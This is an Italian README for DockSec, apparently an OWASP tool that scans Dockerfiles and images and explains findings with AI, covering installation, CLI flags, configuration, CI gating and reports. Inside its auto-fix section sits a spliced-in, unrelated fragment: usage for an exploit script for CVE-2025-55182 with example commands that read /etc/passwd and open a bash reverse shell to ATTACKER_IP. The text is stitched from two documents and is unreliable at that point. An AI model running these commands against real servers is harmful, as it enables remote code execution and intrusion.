DockSec v2026.9.21
Scanner di sicurezza Docker basato sull'IA che spiega le vulnerabilità in un linguaggio semplice. Un progetto OWASP Lab.
DockSec
Scanner di sicurezza Docker basato sull'AI che spiega le vulnerabilità in linguaggio semplice
Cos'è DockSec?
DockSec è un OWASP Lab Project che colma il divario tra i risultati complessi delle scansioni di sicurezza e le correzioni attuabili per gli sviluppatori. Integra scanner standard del settore (Trivy, Hadolint, Docker Scout) con l'AI per fornire un'analisi di sicurezza consapevole del contesto.
Invece di sommergerti con un elenco di oltre 200 CVE, DockSec:
- Dà priorità a ciò che influisce realmente sulla tua specifica configurazione di container.
- Spiega le vulnerabilità in linguaggio semplice, non solo con gergo tecnico di sicurezza.
- Suggerisce correzioni specifiche per il tuo Dockerfile.
- Genera report di sicurezza professionali e interattivi per il tuo team.
Tutto viene scansionato localmente; l'unica cosa che lascia la tua macchina è il contenuto del file (con i segreti oscurati) inviato al provider AI che scegli - e con un modello locale o la modalità solo scansione, non esce nulla. Vedi Flusso dei dati e privacy.
Come funziona
Flusso di lavoro di DockSec: dalla scansione a informazioni attuabili
DockSec segue una pipeline in cinque fasi:
- Scansione: esegue Trivy (vulnerabilità delle immagini e misconfigurazioni del Dockerfile), Hadolint e Docker Scout localmente nel tuo ambiente.
- Prioritizzazione: classifica ogni risultato CVE in base alla gravità combinata con la probabilità di sfruttamento EPSS, così l'elenco è ordinato in base a cosa correggere prima anziché a cosa è stato trovato prima.
- Correlazione: rileva le catene di exploit in cui risultati separati si combinano in un unico percorso di attacco - un database con credenziali che un servizio esposto a Internet può raggiungere è una catena, non due risultati non correlati. Con una chiave API, un passaggio AI ragiona sull'intero output della scansione per classificare, spiegare ed estendere tutto ciò.
- Raccomandazione: produce comandi di correzione da copiare ed eseguire e modifiche concrete al Dockerfile o al compose, e indica quanti risultati risolvono.
- Report: esporta i risultati attuabili in HTML, PDF, JSON, CSV, Markdown, SARIF e CycloneDX SBOM.
Per iniziare
1. Prerequisiti
DockSec orchestra scanner locali, quindi necessita di:
| Requisito | Necessario per | Installazione |
|---|---|---|
| Python 3.12+ | DockSec stesso | python.org |
| Trivy | Tutte le scansioni (obbligatorio) | brew install trivy o Trivy docs |
| Hadolint | Linting del Dockerfile | brew install hadolint o Hadolint docs |
| Docker | Scansioni delle immagini (-i) | Docker docs |
Oppure lascia che DockSec installi Trivy e Hadolint per te:```bash python -m docksec.setup_external_tools
### 2. Installare DockSec```bash
# Full install with AI analysis support (recommended)
pip install "docksec[ai]"
# Or the slim, scan-only core (no LLM dependencies, no API key needed)
pip install docksec
3. Esegui la tua prima scansione
Nessuna chiave API necessaria per la scansione locale:```bash docksec Dockerfile --scan-only
Ogni scansione termina con un riepilogo dei risultati: una tabella delle severità, un punteggio di sicurezza da 0 a 100 con una
valutazione, un blocco di azioni "Quick take", i report generati (salvati in
`~/.docksec/results/` per impostazione predefinita) e un comando successivo suggerito.
### 4. Abilitare l'analisi AI
L'analisi AI spiega i risultati e suggerisce correzioni. Scegli un provider, imposta la sua chiave API ed esegui:```bash
# OpenAI (default provider)
export OPENAI_API_KEY="sk-..."
docksec Dockerfile
# Anthropic Claude
export ANTHROPIC_API_KEY="sk-ant-..."
docksec Dockerfile --ai-only --provider anthropic --model claude-sonnet-5
# Google Gemini
export GOOGLE_API_KEY="..."
docksec Dockerfile --ai-only --provider google
# Ollama (fully local, no API key, data never leaves your machine)
docksec Dockerfile --ai-only --provider ollama --model llama3.1
Ogni provider ha un modello predefinito sensato (OpenAI: gpt-4o, Anthropic:
claude-haiku-4-5, Google: gemini-1.5-pro, Ollama: llama3.1), quindi --model è
opzionale. Per evitare di ripetere i flag, imposta le variabili d'ambiente (oppure inseriscile in un file .env
nella directory da cui esegui - DockSec lo carica automaticamente):```bash
export LLM_PROVIDER=anthropic
export LLM_MODEL=claude-sonnet-5
docksec Dockerfile
Prima che qualsiasi contenuto venga inviato a un provider AI, i valori che sembrano segreti (password, token, chiavi API, blocchi di chiavi private) vengono mascherati automaticamente. Vedi
[Flusso di dati e privacy](#data-flow-and-privacy).
### 5. Oppure esegui l'immagine del container (niente da installare)
L'immagine pubblicata include versioni bloccate di Trivy e Hadolint, quindi non c'è
nulla da installare e nulla da configurare:```bash
docker run --rm -v "$PWD:/github/workspace" \
-e INPUT_DOCKERFILE=Dockerfile \
-e INPUT_SCAN_ONLY=true \
ghcr.io/owasp/docksec:latest
Pubblicato multi-arch (amd64 e arm64) a ogni release. Fissa una versione
specifica (ghcr.io/owasp/docksec:2026.9.21) o una serie minore
(ghcr.io/owasp/docksec:2026.9) invece di latest in CI. Ogni immagine porta
un'attestazione di provenienza della build:```bash
gh attestation verify oci://ghcr.io/owasp/docksec:latest --repo OWASP/DockSec
L'immagine legge le stesse variabili `INPUT_*` della GitHub Action, quindi qualsiasi input dell'Action funziona qui: `INPUT_IMAGE`, `INPUT_COMPOSE`, `INPUT_SEVERITY`, `INPUT_FAIL_ON`, `INPUT_FORMAT`, `INPUT_SARIF`, `INPUT_OUTPUT_DIR`. Scrivi i report da qualche parte sul mount per conservarli dopo l'uscita del container:```bash
docker run --rm -v "$PWD:/github/workspace" \
-e INPUT_COMPOSE=docker-compose.yml \
-e INPUT_SCAN_ONLY=true \
-e INPUT_FORMAT=json,html \
-e INPUT_OUTPUT_DIR=/github/workspace/docksec-reports \
ghcr.io/owasp/docksec:latest
6. Oppure usa la GitHub Action```yaml
- name: Run DockSec AI Scanner uses: OWASP/[email protected] with: dockerfile: 'Dockerfile' openai_api_key: ${{ secrets.OPENAI_API_KEY }}
## Comandi Comuni```bash
# Scan Dockerfile + Docker image (AI + scanners)
docksec Dockerfile -i myapp:latest
# Scan a Docker Compose file and all its services
docksec --compose docker-compose.yml
# Scan only a Docker image
docksec --image-only -i myapp:latest
# Fast local scan, no AI, no API key
docksec Dockerfile --scan-only
# Choose which severity levels the image scan reports (default: CRITICAL,HIGH)
docksec -i myapp:latest --image-only --severity CRITICAL,HIGH,MEDIUM
# Fail the build (exit 1) if any finding is HIGH or above
docksec -i myapp:latest --image-only --fail-on high
# Write only the report formats you want, to a directory of your choice
docksec Dockerfile --scan-only --format json,html --output-dir ./reports
# Write a Markdown report for posting directly into a pull request comment
docksec Dockerfile --scan-only --format markdown
# Print results as JSON to stdout for scripts and CI pipelines
docksec -i myapp:latest --image-only --json
# Write a SARIF report for GitHub Code Scanning
docksec Dockerfile --scan-only --sarif
# Write a CycloneDX SBOM of an image for supply-chain tooling
docksec --image-only -i myapp:latest --sbom
# Fully offline scan: local Trivy DB, no network, no AI
docksec --image-only -i myapp:latest --offline
# Save today's findings as a baseline, then only gate on new findings later
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --update-baseline
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --fail-on high
# Suppress triaged findings with an auditable ignore file
docksec -i myapp:latest --image-only --ignore-file .docksec-ignore.yml
# Force a fresh scan, bypassing the results cache
docksec -i myapp:latest --image-only --no-cache
# Install AI-assistant skill files (Claude Code, Cursor, Copilot, and more)
docksec install-skill
# Output control
docksec Dockerfile --scan-only --quiet # warnings, errors, summary only
docksec Dockerfile --scan-only --verbose # INFO-level diagnostics on stderr
docksec Dockerfile --scan-only --verbose --log-file logs/docksec.log
docksec Dockerfile --scan-only --compact-output # shorter per-finding output
docksec Dockerfile --no-color # also honors NO_COLOR
# Apply the mechanical Dockerfile fixes (keeps a .bak, re-scans, shows the delta)
docksec Dockerfile --scan-only --fix --dry-run # print the diff, change nothing
docksec Dockerfile --scan-only --fix
# Rank findings by severity alone, with no EPSS lookup and no network call
docksec Dockerfile --scan-only --no-epss
# Treat a scan that could not complete as a failure, not a pass
docksec Dockerfile --scan-only --fail-on high --incomplete-policy fail
File di configurazione
Esegui il commit di un file .docksec.yml nella radice del tuo repository e l'intero team - e
ogni job CI - esegue la scansione secondo la stessa policy, invece di far passare a ogni sviluppatore
i propri flag.```yaml
yaml-language-server: $schema=https://owasp.org/DockSec/docksec-config-schema.json
severity: CRITICAL,HIGH fail_on: HIGH formats: [json, html] output_dir: ./security-reports
rules: disabled: - compose-missing-healthcheck
Ogni impostazione è opzionale; tutto ciò che ometti ricade sulla variabile d'ambiente e poi sul valore predefinito integrato. Un esempio completo annotato è in
[`examples/.docksec.yml`](https://github.com/owasp/docksec/blob/main/examples/.docksec.yml).
### Precedenza
Prima la priorità più alta:```
CLI flag > environment variable > .docksec.yml > built-in default
Quindi un severity: LOW committato viene comunque sovrascritto da --severity CRITICAL sulla
riga di comando, e da DOCKSEC_DEFAULT_SEVERITY nell'ambiente.
Discovery
DockSec cerca .docksec.yml (o .docksec.yaml) nella directory di lavoro
e poi risale fino alla radice del repository, così un servizio in una sottodirectory
di un monorepo eredita la policy committata al livello superiore. La ricerca si ferma alla
directory contenente .git, quindi non preleva mai un file dall'esterno del
repository.
--config FILEusa un file specifico invece di cercare.--no-configignora qualsiasi file di configurazione, per esecuzioni CI riproducibili.
Il file di configurazione in vigore è mostrato nel banner della scansione, quindi è sempre chiaro quale policy è stata applicata.
Impostazioni
| Impostazione | Flag equivalente | Note |
|---|---|---|
severity | --severity | Livelli di severità per la scansione dell'immagine |
fail_on | --fail-on | Soglia del gate CI |
formats | --format | Forma lista: [json, html] |
output_dir | --output-dir | Destinazione del report |
provider | --provider | openai, anthropic, google, ollama |
model | --model | Nome del modello per il provider |
offline | --offline | Nessuna rete; salta AI e Docker Scout |
skip_ai_scoring | --skip-ai-scoring | Deprecato e ignorato; lo scoring è sempre deterministico |
no_redact | --no-redact | Non mascherare i segreti prima della chiamata AI |
no_cache | --no-cache | Ignora la cache della scansione |
ignore_file | --ignore-file | Percorso del file di waiver |
baseline | --baseline | Percorso del file di baseline |
rules.disabled | - | ID delle regole da disattivare completamente |
Un file di configurazione non valido - una chiave sconosciuta, una severità errata - è un errore fatale che
esce con 2 anziché un avviso, quindi un file di policy rotto non può mai causare l'esecuzione di una scansione
sotto regole che il team non ha committato.
Autocompletamento dell'editor
Il commento # yaml-language-server: sulla prima riga fornisce completamento e
validazione inline in VS Code e negli editor JetBrains. Lo schema è pubblicato su
docs/docksec-config-schema.json e può essere
rigenerato con docksec --print-config-schema.
Disabilitare le regole
rules.disabled disattiva completamente un controllo, ovunque - viene rimosso
prima dello scoring, dei report, di --json e del gate --fail-on. Usalo per i controlli
che non si applicano al tuo ambiente. Per singoli findings che il tuo team ha
valutato e accettato, preferisci il file di waiver,
le cui voci portano una motivazione e una data di scadenza e quindi restano verificabili.
Integrazione CI/CD
Codici di uscita
DockSec usa codici di uscita adatti alla CI così che build e shell possano reagire ai risultati:
| Codice | Significato |
|---|---|
0 | Successo, nessun finding pari o superiore a --fail-on |
1 | Finding pari o superiori alla soglia --fail-on |
2 | Errore di utilizzo o argomento |
3 | Errore dello strumento o di runtime (scansione fallita, immagine non trovata, strumenti mancanti) |
--fail-on fa da gate su ogni finding strutturato: vulnerabilità dell'immagine, misconfigurazioni
del Dockerfile e misconfigurazioni di compose. Quando --fail-on è inferiore alla
--severity richiesta, la severità della scansione viene ampliata automaticamente così che il gate possa
osservare quei finding.
Scansioni incomplete
Se uno scanner non può essere eseguito, i risultati potrebbero mancare di finding anziché essere genuinamente
puliti. DockSec lo segnala come lacuna di rilevamento nel blocco Coverage e in
--json sotto scan_info.completeness. Usa --incomplete-policy fail per uscire con 3
in quel caso, così la CI non può passare su una scansione che non è terminata:```bash
docksec Dockerfile --incomplete-policy fail
### Priorità: cosa correggere prima
Ogni risultato CVE viene valutato in base a [EPSS](https://www.first.org/epss/), che
stima la probabilità che venga sfruttato nei prossimi 30 giorni. Combinando questo
con la gravità si ottengono quattro livelli:
| Livello | Significato |
|---|---|
| **Fix Now** | Gravità critica o alta, e tra il 10% dei CVE con maggiore probabilità di sfruttamento |
| **Fix Soon** | Gravità critica o alta, ma lo sfruttamento è meno comune |
| **Monitor** | Gravità inferiore, ma attivamente sfruttato |
| **Low Priority** | Gravità inferiore, sfruttamento non comune |
Questa è l'unica chiamata di rete che DockSec effettua al di fuori della fase AI, ed è
deliberatamente limitata: **vengono inviati solo gli ID CVE** - nessun nome di immagine, nessun contenuto di file,
nessun percorso. I punteggi vengono memorizzati nella cache per 24 ore. `--offline` e `--no-epss` lo disabilitano,
e qualsiasi errore ricade su una classificazione basata solo sulla gravità anziché far fallire la scansione.
### Catene di exploit
Una vista per servizio riporta i risultati uno alla volta. DockSec riporta anche dove
risultati separati si combinano in un unico percorso di attacco:```text
Exploit chains
[HIGH] 'web' is internet-facing and can reach 'db' with a committed credential
services: web, db
combines: compose-plaintext-secret-env, compose-no-network-segmentation
'web' accepts connections from outside the host and shares the default
network with 'db'. 'db' is not exposed directly, but its credential is in
the compose file, so compromising 'web' yields authenticated access to it.
Neither service looks critical on its own.
break it: Put 'db' on its own network that 'web' does not join, or move
POSTGRES_PASSWORD to a Docker secret.
Il rilevamento delle catene è basato su regole, quindi funziona con --scan-only, offline e senza API key, e restituisce lo stesso risultato a ogni esecuzione. Il passaggio AI le classifica e le estende anziché essere necessario per esse. Le catene compaiono anche in --json sotto exploit_chains.
Consulta la guida alle catene di exploit per l'elenco completo e il riferimento alle regole di compose per ogni regola che combinano.
Comandi di correzione
Le scansioni terminano con comandi concreti anziché con un elenco di identificatori, e con una dichiarazione chiara di quante rilevazioni risolvono:```text Fix commands
apt-get install --only-upgrade -y libgnutls30=3.7.9-2+deb12u7 CRITICAL - 3.7.9-2+deb12u4 -> 3.7.9-2+deb12u7 (CVE-2026-33845 +6)
Dockerfile changes
- [CRITICAL] Move the secret out of ENV; inject it at runtime (line 4)
- [HIGH] Add a non-root USER before CMD/ENTRYPOINT (line 7)
Applying all of the above resolves 37 of 93 finding(s); 56 have no mechanical fix yet.
### Output leggibile dalla macchina
`--json` stampa un singolo oggetto JSON su stdout (informazioni sulla scansione, vulnerabilità, conteggi di gravità e eventuali risultati AI) invece del riepilogo leggibile dall'uomo, così può essere reindirizzato direttamente verso altri strumenti:```bash
docksec -i myapp:latest --image-only --json | jq '.severity_counts'
Con --json da solo, non vengono scritti file di report; combinalo con --format per scrivere
file e stampare JSON nella stessa esecuzione. Tutti i messaggi leggibili dall'uomo passano a stderr in
modalità --json, quindi stdout contiene sempre e solo il payload JSON.
Formati di report
--format accetta una lista separata da virgole di output su file:
| Formato | Cosa ottieni |
|---|---|
json | Un file .json con i metadati della scansione, i conteggi per severità e la lista completa delle vulnerabilità (stessa struttura del payload JSON su stdout, ma scritto su disco). |
csv | Una tabella .csv dei risultati (ID, severità, pacchetto, versione, titolo e campi correlati). |
pdf | Un riepilogo PDF stampabile con informazioni sulla scansione, punteggi e dettagli delle vulnerabilità. |
html | Un report HTML con stile per consultare i risultati in un browser. |
markdown | Un report .md che viene renderizzato nativamente nei commenti delle pull request e nei riepiloghi dei job CI. Opt-in: non viene scritto se non richiesto. |
json, csv, pdf e html vengono scritti per impostazione predefinita; aggiungi markdown esplicitamente per
ottenerlo.
CSV senza risultati: se una scansione non segnala vulnerabilità ma csv è nella tua
lista --format, DockSec scrive comunque un file CSV contenente solo le intestazioni delle colonne.
Questo è intenzionale (l'esportazione è valida, non una scrittura fallita) così gli strumenti a valle possono
fare affidamento su uno schema stabile anche su scansioni pulite.
Per il JSON su stdout e il piping verso altri strumenti, vedi Output leggibile dalla macchina
sopra. Per CI e GitHub Code Scanning, usa --sarif (vedi la sezione successiva); SARIF è
separato da --format e viene sempre emesso quando richiesto.
Output SARIF per GitHub Code Scanning
--sarif scrive un report SARIF 2.1.0 insieme agli altri formati di report. Caricalo
con l'azione standard github/codeql-action/upload-sarif per vedere i risultati annotati
direttamente sulle pull request e nella scheda Security:```yaml
-
name: Run DockSec uses: OWASP/[email protected] with: dockerfile: 'Dockerfile' sarif: 'true'
-
name: Upload SARIF to GitHub Code Scanning uses: github/codeql-action/upload-sarif@v3 if: always() with: sarif_file: ~/.docksec/results
> `if: always()` è importante: senza di esso, il passo di upload viene saltato ogni volta che
> `--fail-on` fa terminare DockSec con un codice diverso da zero, perdendo i risultati proprio nel momento in cui
> contano di più.
### Modalità baseline / ratchet
`--baseline FILE` ti consente di adottare `--fail-on` su un progetto esistente senza che una parete di
risultati preesistenti blocchi ogni build. Esegui una volta con `--update-baseline` per fare uno snapshot
dei risultati attuali, poi esegui il commit del file baseline; da quel momento in poi, `--fail-on` blocca solo i
risultati che non sono già presenti nella baseline:```bash
# Snapshot current findings (does not gate)
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --update-baseline
# Later runs only fail on NEW findings above the threshold
docksec -i myapp:latest --image-only --baseline .docksec-baseline.json --fail-on high
I risultati vengono confrontati per ID vulnerabilità, target e nome del pacchetto, quindi la baseline rimane
valida man mano che risultati non correlati compaiono e scompaiono. Riesegui con --update-baseline ogni volta che vuoi
accettare lo stato corrente come nuova baseline.
Ignorare i risultati (waiver)
--ignore-file FILE sopprime i singoli risultati che un team ha analizzato e accettato.
A differenza della baseline (un'istantanea in un determinato momento), il file di ignore è una lista esplicita
e verificabile in cui ogni voce porta una motivazione e una data di scadenza opzionale.
Se nella directory corrente esiste un file .docksec-ignore.yml, viene rilevato
automaticamente.```yaml
.docksec-ignore.yml
ignores:
- id: CVE-2023-45853 # Trivy vulnerability ID or DockSec rule ID reason: "zlib CVE; code path not reachable, vendor fix pending" expires: 2026-12-31 # optional; entry stops applying after this date
- id: compose-missing-healthcheck reason: "healthchecks are handled by the orchestrator"
I risultati soppressi vengono rimossi prima del punteggio, dei report, dell'output `--json` e del
gate `--fail-on`. Le voci scadute smettono di applicarsi automaticamente (con un avviso), e
le voci senza una motivazione vengono segnalate affinché le deroghe restino verificabili. Esegui il commit del file nel
controllo di versione in modo che le soppressioni siano revisionate come qualsiasi altra modifica.
---
## Report
### Formati di report
Per impostazione predefinita ogni scansione scrive quattro file di report; usa `--format` per scegliere un sottoinsieme:
- **html**: Un report web interattivo e visivamente pulito: schede di gravità, valutazione del punteggio, tabella completa delle vulnerabilità con versioni corrette e i risultati completi dell'IA.
- **pdf**: Un documento portabile, pronto per la presentazione.
- **json**: Dati di scansione completi e leggibili dalla macchina (stessa struttura dell'output stdout di `--json`).
- **csv**: Una tabella pronta per il foglio di calcolo delle singole vulnerabilità.
- **markdown**: Un report leggero e leggibile (riepilogo della gravità + tabella delle vulnerabilità con versioni corrette) che viene visualizzato nativamente nei commenti delle pull request e nei riepiloghi dei job CI. Opt-in: aggiungi `markdown` a `--format`; non viene scritto per impostazione predefinita.
> Nota sul comportamento CSV: con zero vulnerabilità, DockSec scrive comunque un CSV
> di sole intestazioni (nomi delle colonne, nessuna riga) in modo che l'automazione a valle non si rompa mai su un file
> mancante o vuoto. Questo è intenzionale.
### CycloneDX SBOM
`--sbom` scrive un software bill of materials CycloneDX (`<image>.cdx.json`) dell'
immagine scansionata, elencando ogni componente del pacchetto più le vulnerabilità note. Il BOM è
prodotto dall'esportatore nativo di Trivy (quindi è conforme alla specifica) e DockSec si inserisce
nei metadati dello strumento. Alimentalo in Dependency-Track, nel grafo delle dipendenze di GitHub o in qualsiasi
altro consumatore di SBOM:```bash
docksec --image-only -i myapp:latest --sbom
--sbom richiede una singola immagine (-i), quindi viene saltato per le esecuzioni compose. Come --sarif,
è indipendente da --format.
Flusso di dati e privacy
DockSec è progettato in modo che tu sappia sempre cosa lascia la tua macchina:
- La scansione è completamente locale. Trivy, Hadolint e il punteggio di sicurezza vengono eseguiti sulla tua macchina. Il contenuto delle immagini non viene mai caricato da nessuna parte da DockSec.
- L'analisi AI invia solo il file scansionato. Quando viene eseguito il passaggio AI, il contenuto del Dockerfile o del file compose (più un breve riepilogo dei conteggi delle vulnerabilità per il punteggio) viene inviato al provider LLM che hai configurato. Nient'altro viene trasmesso.
- I segreti vengono oscurati prima di uscire. I valori che sembrano segreti (password,
token, chiavi API, blocchi di chiavi private) nel file vengono mascherati prima che il contenuto venga
inviato al provider AI. I nomi delle chiavi rimangono visibili in modo che le credenziali esposte siano comunque
segnalate. Usa
--no-redactper disattivare questa opzione. - L'AI completamente locale è supportata. Usa
--provider ollamaper mantenere l'analisi AI sul tuo hardware, oppure--scan-only/--offlineper saltare completamente l'AI. - Nessuna telemetria. DockSec non raccoglie dati di utilizzo e non contatta nulla.
Modalità offline
--offline esegue una scansione senza accesso alla rete. Utilizza il database delle vulnerabilità Trivy
già presente sul disco (nessun aggiornamento del DB) e salta l'analisi AI e la scansione avanzata di Docker Scout,
entrambe richiedono la rete. Questo è il modo più semplice per scansionare in un ambiente air-gapped o
ad accesso limitato:```bash
docksec --image-only -i myapp:latest --offline
Assicurati che il DB di Trivy sia stato scaricato almeno una volta (una qualsiasi scansione online precedente lo fa) prima di fare affidamento su `--offline`.
### Cache dei risultati di scansione
I risultati delle scansioni delle immagini vengono memorizzati nella cache (predefinito: 24 ore, sovrascrivibile con
`DOCKSEC_CACHE_TTL_HOURS`) e indicizzati in base al digest del contenuto dell'immagine, quindi un tag ricostruito
come un `:latest` riutilizzato ottiene sempre una scansione aggiornata. Usa `--no-cache` (o
`DOCKSEC_USE_CACHE=false`) per bypassare la cache per un'esecuzione.
### Download di immagini non locali
La scansione di un'immagine non presente localmente la scarica prima. Uno stack compose
nomina abitualmente immagini che la macchina non ha mai scaricato, e senza questo ognuno
di quei servizi viene segnalato come non scansionato.
Imposta `DOCKSEC_PULL_MISSING_IMAGES=false` per disattivare questa opzione e fallire invece, cosa che
vale la pena fare su una connessione a consumo o su un runner condiviso. `--offline` non scarica mai, indipendentemente da questa impostazione.
---
## Competenze per assistenti AI (`install-skill`)
`docksec install-skill` scrive le istruzioni d'uso di DockSec nei file di contesto
ben noti per i più diffusi assistenti AI di programmazione, così un assistente che lavora nel tuo repository sa come
invocare DockSec:```bash
docksec install-skill
Questo crea o aggiorna:
.claude/commands/docksec.md(comando slash di Claude Code/docksec).cursor/rules/docksec.mdc(Cursor)AGENTS.md(Codex CLI),GEMINI.md(Gemini CLI).github/copilot-instructions.md(GitHub Copilot)
I file sono testo semplice che puoi revisionare e committare; nulla viene eseguito. Rieseguire il comando aggiorna la sezione DockSec sul posto invece di duplicarla.
Funzionalità
- Analisi intelligente: l'IA spiega cosa significano le vulnerabilità per la tua configurazione specifica.
- Supporto multi-LLM: OpenAI, Anthropic Claude, Google Gemini o modelli locali tramite Ollama.
- Privacy al primo posto: i valori dei segreti vengono oscurati prima che qualsiasi contenuto raggiunga un provider di IA, la scansione è completamente locale e non c'è telemetria.
- Scansione Docker Compose: rileva misconfigurazioni a livello di orchestrazione e scansiona tutti i servizi in un file compose.
- Integrazione profonda: combina Trivy (vulnerabilità), Hadolint (linting) e Docker Scout.
- Punteggio di sicurezza: un punteggio da 0 a 100 con una valutazione per monitorare la tua postura di sicurezza nel tempo.
- Formati ricchi: HTML (interattivo), PDF, JSON, CSV, SARIF e CycloneDX SBOM.
- Pronto per CI/CD: codici di uscita
--fail-on, modalità baseline/ratchet, esenzioni verificabili, JSON su stdout e una GitHub Action sul Marketplace. - Modalità offline: scansiona completamente air-gapped (
--offline) usando il database Trivy locale. - Skill per assistenti IA:
docksec install-skillinsegna a Claude Code, Cursor, Copilot e altri come eseguire DockSec nel tuo repository.
Confronto tra DockSec e le alternative
| Capacità | DockSec | Trivy (standalone) | Snyk Container | Aikido |
|---|---|---|---|---|
| Licenza e costo | Gratuito, open source (MIT) | Gratuito, open source (Apache 2.0) | Commerciale (piano gratuito limitato) | Commerciale (piano gratuito limitato) |
| Governance | OWASP Lab Project, neutrale rispetto ai vendor | Open source, mantenuto da Aqua | Singolo vendor | Singolo vendor |
| Rileva CVE e misconfigurazioni del Dockerfile | Sì | Sì | Sì | Sì |
| Spiega i risultati in linguaggio semplice | Sì (contesto e impatto scritti dall'IA) | No (dati CVE grezzi) | Parziale (severità e suggerimenti di correzione) | Parziale (riepiloghi IA nella piattaforma) |
| Remediation contestuale del Dockerfile | Sì (riscritture specifiche con spiegazione) | No (solo rilevamento) | Sì (consigli sull'aggiornamento dell'immagine base, PR di correzione) | Sì (PR AutoFix con IA) |
| Scansione Docker Compose (multi-servizio) | Sì (controlli di orchestrazione e scansione per servizio) | Parziale (scansione della configurazione, nessun fan-out per servizio) | Parziale | Parziale |
| Modalità baseline / ratchet (fallisci solo su nuovi risultati) | Sì | No | Parziale (policy della piattaforma) | Parziale (policy della piattaforma) |
| Esenzioni verificabili per singolo risultato con motivazioni e scadenza | Sì | Parziale (.trivyignore, nessuna motivazione obbligatoria) | Parziale (policy della piattaforma) | Parziale (policy della piattaforma) |
| Output nativo per CI (SARIF per GitHub Code Scanning) | Sì | Sì | Sì | Sì |
| Esportazione SBOM (CycloneDX) | Sì (--sbom) | Sì | Sì | Sì |
| Installazione della skill per assistenti IA (Claude Code, Cursor, Copilot) | Sì (install-skill) | No | No | No |
| Esecuzione completamente offline / air-gapped | Sì (LLM locale tramite Ollama, modalità solo scansione, nessuna chiave API) | Solo scansione (nessun livello di remediation) | No (piattaforma cloud) | No (piattaforma ospitata) |
| I dati delle tue immagini restano sulla tua rete | Sì | Sì | No | No |
| Porta il tuo LLM / scelta del modello | Sì (OpenAI, Anthropic, Gemini o Ollama locale) | Non applicabile | No (IA proprietaria) | No (IA proprietaria) |
| Self-hostable, nessun deployment su piattaforma | Sì | Sì | No | No |
| Vendor lock-in | Nessuno | Nessuno | Sì | Sì |
| Punteggio di sicurezza (0-100) e report multi-formato | Sì | Parziale (formati macchina, nessun report di remediation) | Parziale (report della dashboard) | Parziale (report della dashboard) |
DockSec è l'unico tra questi che abbina la remediation contestuale del Dockerfile a un design completamente open source, governato da OWASP e eseguibile localmente. Snyk e Aikido offrono una valida remediation con IA, ma solo come piattaforme cloud commerciali che inviano i tuoi dati al loro servizio. Trivy è open source e locale ma si ferma al rilevamento e non ti aiuta a correggere nulla. DockSec colma il divario per gli sviluppatori e per i team regolamentati o air-gapped che necessitano sia della guida alla correzione sia del pieno controllo dei propri dati, a costo zero.
Applicare le correzioni automaticamente
--fix applica il sottoinsieme meccanico delle modifiche suggerite al Dockerfile,
riesegue la scansione e riporta il delta:```bash
docksec Dockerfile --scan-only --fix --dry-run # print the diff, change nothing
docksec Dockerfile --scan-only --fix # apply, keeping a .bak
## Utilizzo
python3 CVE-2025-55182.py -u -c
### Esempi
```bash
# Esegui il comando 'id' sul server di destinazione
python3 CVE-2025-55182.py -u http://target.com -c "id"
# Leggi un file
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# Reverse shell
python3 CVE-2025-55182.py -u http://target.com -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Come funziona
Lo script sfrutta la vulnerabilità inviando una richiesta POST appositamente predisposta all'endpoint di destinazione. Il payload sfrutta la deserializzazione non sicura per eseguire comandi arbitrari sul server.
Mitigazione
- Aggiorna React Server Components alla versione più recente
- Applica le patch di sicurezza fornite dal vendor
- Limita l'accesso agli endpoint vulnerabili
- Monitora le richieste sospette nei log del server
Riferimenti
Disclaimer
Questo strumento è fornito solo a scopo educativo e di test di sicurezza autorizzato. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo solo su sistemi di tua proprietà o su cui hai il permesso esplicito di testare.```text Applied 4 change(s)
- added --no-install-recommends on line(s) 2 [DS029]
- converted ADD to COPY on line(s) 3 [DL3020]
- replaced 'USER root' with 'USER appuser' on line 5 [DS002]
- inserted a placeholder HEALTHCHECK before line 6 [DS026]
Original saved to Dockerfile.bak Dockerfile findings: 7 -> 2 (5 resolved)
È deliberatamente conservativo. Non sceglierà una versione dell'immagine di base, sposterà un secret, convertirà un `ADD` che recupera un URL o decomprime un archivio, né modificherà un file compose - questi vengono segnalati in "Needs review". Rifiuta inoltre di modificare un file con modifiche non committate a meno che non venga specificato `--force`, così git è sempre in grado di annullare la modifica.
## Documentazione
| Guida | Cosa copre |
| --- | --- |
| [Guida alla valutazione](https://github.com/owasp/docksec/blob/main/docs/evaluation-guide.md) | Valutazione di 15 minuti, incluso ciò che DockSec *non* fa |
| [Catene di exploit](https://github.com/owasp/docksec/blob/main/docs/exploit-chains.md) | Percorsi di attacco cross-service e i loro limiti |
| [Riferimento regole Compose](https://github.com/owasp/docksec/blob/main/docs/rules/README.md) | Tutte le 17 regole: cosa rileva ciascuna e quando è ragionevole mantenerla |
| [Integrazione CI](https://github.com/owasp/docksec/blob/main/docs/ci/README.md) | Jenkins, GitLab, Azure Pipelines, pre-commit |
| [Esempi](https://github.com/owasp/docksec/blob/main/examples/README.md) | Dieci Dockerfile e stack compose con i risultati attesi |
| [Casi di studio](https://github.com/owasp/docksec/blob/main/docs/case-studies/README.md) | Scansioni reali di immagini ufficiali, con i numeri |
## Roadmap
Vedi [ROADMAP.md](https://github.com/owasp/docksec/blob/main/ROADMAP.md) per capire dove sta andando DockSec: scansione dei registry senza un daemon Docker locale, un file di configurazione delle policy a livello di repository, template Jenkins/GitLab/Azure DevOps, un'immagine container ufficiale, scansione Kubernetes e Helm e altro ancora. Feedback e voti sulle priorità sono benvenuti nelle
[issue](https://github.com/OWASP/DockSec/issues) e su
[OWASP Slack](https://owasp.slack.com/archives/C0APXGCUW7M).
---
## Contribuire
DockSec prospera grazie ai contributi della comunità. Che tu sia uno sviluppatore, un designer o un appassionato di sicurezza, ci sono molti modi per partecipare:
- **Contributi al codice**: Correggi bug o aggiungi nuove funzionalità.
- **Documentazione**: Migliora le guide o crea tutorial.
- **Segnalazione di problemi**: Identifica e segnala bug.
- **Feedback**: Condividi la tua esperienza e i tuoi suggerimenti.
